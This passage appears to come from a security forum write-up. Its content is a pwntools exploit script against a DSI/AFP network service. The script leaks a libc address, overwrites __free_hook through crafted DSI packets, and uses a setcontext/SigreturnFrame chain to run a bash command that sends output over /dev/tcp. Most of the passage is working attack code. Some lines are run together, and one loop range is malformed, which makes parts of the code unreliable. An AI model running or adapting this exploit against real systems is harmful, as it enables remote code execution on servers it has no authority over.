if '--debug=true' in sys.argv:
context.log_level = 'debug'
leak_addr = leak_address()
print(f"leak_addr = {hex(leak_addr)}") #
pause() # 0x7f42650ec000
input()
leak_addr = 0x7f79e9200000
for offset in range(0x18040000, 0x1880000, 0x1000):
print(f"offset = {hex(offset)}")
# offset = 0x1854000 # 范围在 [0x1840000, 0x1880000] 上下libc_base = leak_addr - offset
system_addr = libc_base + libc.sym['system']
__free_hook = libc_base + libc.symbols['__free_hook']
__libc_dlopen_mode_56 = libc_base + libc.sym['__libc_dlopen_mode'] + 56
fgetpos64_207 = libc_base + libc.sym['fgetpos64'] + 207
setcontext_53 = libc_base + libc.sym['setcontext'] + 53
_dl_open_hook = libc_base + libc.sym['_dl_open_hook']# 1. 覆盖commands指针为__free_hook
io = remote(ip, port)
data = b'a'*0x10 + p64(__free_hook)
dsi_data = create_dsi_data(b'\x01', data)
dsi_header = create_dsi_header(b'\x04', dsi_data)io.send(dsi_header)
# 2.再次发包布局内存
frame = SigreturnFrame()
frame.rip = system_addr
frame.rdi = __free_hook + 8
frame.rsp = __free_hook
cmd = f'bash -c "ls > /dev/tcp/{ip}/{6666}" \x00'.encode()# payload = b''.ljust(0x10, b'\x00')
payload = p64(__libc_dlopen_mode_56)
payload += cmd.ljust(0x2ca0 - 8, b'\x00')
payload += p64(_dl_open_hook + 8)
payload += p64(fgetpos64_207)
payload += b'a'*0x18
payload += p64(setcontext_53)
payload += bytes(frame)[0x28:]dsi_header = create_dsi_header(b'\x04', payload)
io.send(dsi_header)
io.close() # 隐式调用free,促发call __free_hookmain()
五
看雪ID:Cx1ng
https://bbs.kanxue.com/user-home-921065.htm
# 往期推荐
2、IDAPython 系列 —— 画出两个函数的交叉引用图
3、调试httpd通过fork+execute调用的cgibin程序
4、微信界面逆向分析
球分享
球点赞
球在看